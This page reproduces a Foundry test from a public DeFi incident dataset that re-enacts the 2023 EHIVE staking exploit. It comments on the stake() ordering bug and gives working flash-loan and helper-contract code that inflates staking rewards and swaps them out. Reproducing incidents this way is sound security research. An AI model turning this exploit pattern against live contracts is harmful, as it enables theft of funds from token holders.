Public reproduction file
src/test/2023-08/EHIVE_exp.sol
Public reproduction file for dataset entry EHIVE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$15K8// Attacker : https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb59// Attacker Contract : https://etherscan.io/address/0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b89210// Vulnerable Contract : https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd11// Attack Tx : https://etherscan.io/tx/0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c112// Preparation Tx: https://etherscan.io/tx/0xd9156f507c701a09d3312e1987383c7c882df50b3127e1adfd74d7405264211414// @Analysis15// https://twitter.com/bulu4477/status/169363618748587258316// In the EHIVE contract, the function stake() incorrectly updates the 'staked' value before calculating 'earned'17// As a result, an attacker only needs to initially stake 0 value of EHIVE, wait for a period of time,18// and then stake a certain amount of EHIVE to earn a large amount of EHIVE. Subsequently, they can unstake and sell it for profit19// @Vulnerability code20// //Check user is registered as staker21// if (isStaking(msg.sender, validator)) {22// _stakers[msg.sender][validator].staked += stakeAmount;23// _stakers[msg.sender][validator].earned += _userEarned(msg.sender, validator);24// _stakers[msg.sender][validator].start = block.timestamp;25// } else {26// _stakers[msg.sender][validator] = Staker(msg.sender, block.timestamp, stakeAmount, 0);27// }29interface IEHIVE is IERC20 {30 function stake(uint256 stakeAmount, uint256 validator) external;32 function unstake(33 uint256 validator34 ) external;35}37interface IUnstake {38 function unstake(39 address _user40 ) external;42 function stake(43 uint256 amount44 ) external;45}47contract EHIVETest is Test {48 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);49 IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);50 IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);51 IUniswapV2Pair private constant EHIVE_WETH = IUniswapV2Pair(0xAE851769593AC6048D36BC123700649827659A82);52 address[28] public contractList;54 function setUp() public {55 // Start from the block when exploit contracts were deployed56 vm.createSelectFork("mainnet", 17_690_497);57 vm.label(address(WETH), "WETH");58 vm.label(address(EHIVE), "EHIVE");59 vm.label(address(AaveFlashloan), "AaveFlashloan");60 vm.label(address(EHIVE_WETH), "EHIVE_WETH");61 }63 function testExploit() public {64 // 1. Deploy exploit contract65 // 2. Call EHIVE stake function with amount 066 for (uint256 i; i < contractList.length; ++i) {67 address deployedContract = address(new UnstakeContract());68 IUnstake(deployedContract).stake(0);69 contractList[i] = deployedContract;70 }71 // Jump to the time when attack was happen72 vm.warp(block.timestamp + 38 days);73 emit log_named_decimal_uint(74 "Attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()75 );76 WETH.approve(address(AaveFlashloan), type(uint256).max);77 AaveFlashloan.flashLoanSimple(address(this), address(WETH), 18e18, new bytes(1), 0);78 emit log_named_decimal_uint(79 "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()80 );81 }83 function executeOperation(84 address asset,85 uint256 amount,86 uint256 premium,87 address initiator,88 bytes calldata params89 ) external returns (bool) {90 WETHToEHIVE();91 EHIVE.transfer(contractList[0], EHIVE.balanceOf(address(this)));92 // Start exploit93 for (uint256 i; i < 27; ++i) {94 IUnstake(contractList[i]).unstake(contractList[i + 1]);95 }96 IUnstake(contractList[27]).unstake(address(this));97 // End exploit98 EHIVEToWETH();99 return true;100 }102 function WETHToEHIVE() internal {103 (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();104 uint256 amount0Out = calcAmount(reserveEHIVE, reserveWETH, WETH.balanceOf(address(this)));106 WETH.transfer(address(EHIVE_WETH), WETH.balanceOf(address(this)));107 EHIVE_WETH.swap(amount0Out, 0, address(this), bytes(""));108 }110 function EHIVEToWETH() internal {111 (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();112 EHIVE.transfer(address(EHIVE_WETH), EHIVE.balanceOf(address(this)));113 uint256 amount1Out = calcAmount(reserveWETH, reserveEHIVE, EHIVE.balanceOf(address(EHIVE_WETH)) - reserveEHIVE);114 EHIVE_WETH.swap(0, amount1Out - 100, address(this), bytes(""));115 }117 function calcAmount(uint256 reserve1, uint256 reserve2, uint256 balance) internal returns (uint256) {118 uint256 a = (balance * 997);119 uint256 b = a * reserve1;120 uint256 c = (reserve2 * 1000) + a;121 return b / c;122 }123}125contract UnstakeContract is Test {126 IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);128 function stake(129 uint256 amount130 ) external {131 EHIVE.stake(amount, 0);132 }134 function unstake(135 address _user136 ) external {137 EHIVE.stake(EHIVE.balanceOf(address(this)), 0);138 EHIVE.unstake(0);139 EHIVE.transfer(_user, EHIVE.balanceOf(address(this)));140 }141}Analysis
Dataset entry
Public Foundry test for “EHIVE” (2023-08-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0195448a9c4adeaf27002c6051c949f3c3234bb5
- Attacker
0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b892
- Vulnerable Contract
0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd
- Attack Tx
0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1
- Explorer: https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb5
- Explorer: https://etherscan.io/address/0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b892
- Explorer: https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd
- Explorer: https://etherscan.io/tx/0xd9156f507c701a09d3312e1987383c7c882df50b3127e1adfd74d74052642114
- Reference: https://twitter.com/bulu4477/status/1693636187485872583
File record
- Name
- EHIVE
- Path
- src/test/2023-08/EHIVE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 532563a54817e0c6ca560482e79a0837f664fe07
- Language
- Solidity
- Size
- 142 lines
- Date
- 2023-08-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/EHIVE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 532563a54817e0c6ca560482e79a0837f664fe07, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.